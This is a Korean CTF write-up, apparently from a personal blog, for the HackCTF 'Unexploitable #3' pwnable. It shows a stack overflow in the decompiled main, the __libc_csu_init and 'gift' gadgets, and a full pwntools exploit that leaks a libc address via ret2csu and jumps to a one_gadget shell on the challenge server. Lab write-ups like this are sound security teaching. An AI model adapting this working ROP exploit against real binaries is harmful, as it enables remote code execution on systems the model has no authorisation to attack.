HackCTF - Unexploitable #3
2021. 8. 10. 21:11ㆍPwnable
아마 stack 마지막 문제 같다.
후딱 풀어서 ALLCLEAR해야겠다.
코드를 보면 위와 아래와 같다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[16]; // [rsp+0h] [rbp-10h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
fwrite("Impossible RTL ha? Nothing for you!\n", 1uLL, 36uLL, stdout);
fgets(s, 256, stdin);
return 0;
}
RTC기법을 이용해서 csu를 참고해야한다.
해당 ELF의 CSU구조는 아래와 같다.
.text:00000000004006E0 ; __unwind {
.text:00000000004006E0 push r15
.text:00000000004006E2 push r14
.text:00000000004006E4 mov r15d, edi
.text:00000000004006E7 push r13
.text:00000000004006E9 push r12
.text:00000000004006EB lea r12, __frame_dummy_init_array_entry
.text:00000000004006F2 push rbp
.text:00000000004006F3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004006FA push rbx
.text:00000000004006FB mov r14, rsi
.text:00000000004006FE mov r13, rdx
.text:0000000000400701 sub rbp, r12
.text:0000000000400704 sub rsp, 8
.text:0000000000400708 sar rbp, 3
.text:000000000040070C call _init_proc
.text:0000000000400711 test rbp, rbp
.text:0000000000400714 jz short loc_400736
.text:0000000000400716 xor ebx, ebx
.text:0000000000400718 nop dword ptr [rax+rax+00000000h]
.text:0000000000400720
.text:0000000000400720 loc_400720: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400720 mov rdx, r13
.text:0000000000400723 mov rsi, r14
.text:0000000000400726 mov edi, r15d
.text:0000000000400729 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040072D add rbx, 1
.text:0000000000400731 cmp rbx, rbp
.text:0000000000400734 jnz short loc_400720
.text:0000000000400736
.text:0000000000400736 loc_400736: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400736 add rsp, 8
.text:000000000040073A pop rbx
.text:000000000040073B pop rbp
.text:000000000040073C pop r12
.text:000000000040073E pop r13
.text:0000000000400740 pop r14
.text:0000000000400742 pop r15
.text:0000000000400744 retn
해당 코드를 확인하고 인자를 맞춰주면 될 듯하다.
추가로 fwrite함수를 주었기에 4번째 인자를 세팅해야하는데, 이는 gift함수에서 찾을 수 있다.
.text:0000000000400636 gift proc near
.text:0000000000400636 ; __unwind {
.text:0000000000400636 push rbp
.text:0000000000400637 mov rbp, rsp
.text:000000000040063A mov rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400641 mov rcx, rax ; s
.text:0000000000400644 mov edx, 17h ; n
.text:0000000000400649 mov esi, 1 ; size
.text:000000000040064E mov edi, offset aUselessGadgetF ; "Useless gadget for you!"
.text:0000000000400653 call _fwrite
.text:0000000000400658 mov rcx, [rdi]
.text:000000000040065B retn
.text:000000000040065B gift endp ; sp-analysis failed
stdout을 호출할떄 rdi_ret가젯을 이용해서 이를 rdi에 넣고,
해당 함수에서 0x400653부분을 이용해서 rdi를 rcx에 넣을 수 있기에 우회가 가능하다.
아래는 익스 코드이다.
from pwn import *
#r = process("./Unexploitable_3")
r = remote("ctf.j0n9hyun.xyz", 3034)
e = ELF("./Unexploitable_3")
l = ELF("./libc6_2.23-0ubuntu10_amd64.so")
one_shot_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = "debug"
csu2_add = 0x0000000000400736
csu1_add = 0x0000000000400720
main = e.symbols['main']
fwrite_got = e.got['fwrite']
fgets_got = e.got['fgets']
__libc_start_main_got = e.got['__libc_start_main']
__libc_start_main_offset = l.sym['__libc_start_main']
fwrite_offset = l.sym['fwrite']
pop_rdi_ret = 0x0000000000400743
mov_rcx_rdi = 0x0000000000400658
stdout = e.got['stdout']
log.info("main = " + hex(main))
log.info("fwrite_got = " + hex(fwrite_got))
log.info("one_shot_offset = " + str(one_shot_offset))
log.info("stdout = " + hex(stdout))
pay = ""
pay += "A"*0x10
pay += "A"*0x8
pay += p64(pop_rdi_ret)
pay += p64(stdout)
pay += p64(mov_rcx_rdi)
pay += p64(csu2_add)
pay += "A"*8 #add rsp,8
pay += p64(0) #rbx
pay += p64(1) #rbp
pay += p64(fwrite_got) #r12
pay += p64(8) #mov rdx, r13
pay += p64(1) #mov rsi, r14
pay += p64(__libc_start_main_got) #mov edi, r15d
pay += p64(csu1_add)
pay += "A"*8 #dummy
pay += p64(0) #rbx
pay += p64(0) #rbp
pay += p64(0) #r12
pay += p64(0) #r13
pay += p64(0) #r14
pay += p64(0) #r15
pay += p64(main) #ret
r.recvuntil("Impossible RTL ha? Nothing for you!\n")
r.sendline(pay)
sleep(0.1)
__libc_start_main_add = u64(r.recv(8).ljust(8, "\x00"))
libc_base = __libc_start_main_add - __libc_start_main_offset
one_shot_add = libc_base + one_shot_offset[0]
log.info("__libc_start_main_add : " + hex(__libc_start_main_add))
log.info("libc_base : " + hex(libc_base))
log.info("one_shot_add : " + hex(one_shot_add))
r.recvuntil("Impossible RTL ha? Nothing for you!\n")
pay = ""
pay += "A"*0x10
pay += "A"*0x8
pay += p64(one_shot_add)
r.sendline(pay)
sleep(0.1)
r.interactive()
익스가 가능하다.
해당 문제를 풀면서 얻을 가장 큰 교훈은 아무런 libc_db를 사용하지 말자는 것이다.
로컬에서 30분만에 풀었지만, libc_db사이트를 이상한 곳을 찾아서 2시간을 소비했다.
다음부터 주의하자..
'Pwnable' 카테고리의 다른 글
dreamhack.io - cpp_type_confusion (0) | 2021.08.25 |
---|---|
dreamhack.io - cpp_container_1 (0) | 2021.08.12 |
pwnable.xyz - Game (0) | 2021.08.05 |
pwnable.xyz - GrownUp (0) | 2021.08.02 |
pwnable.xyz - two targets (0) | 2021.08.01 |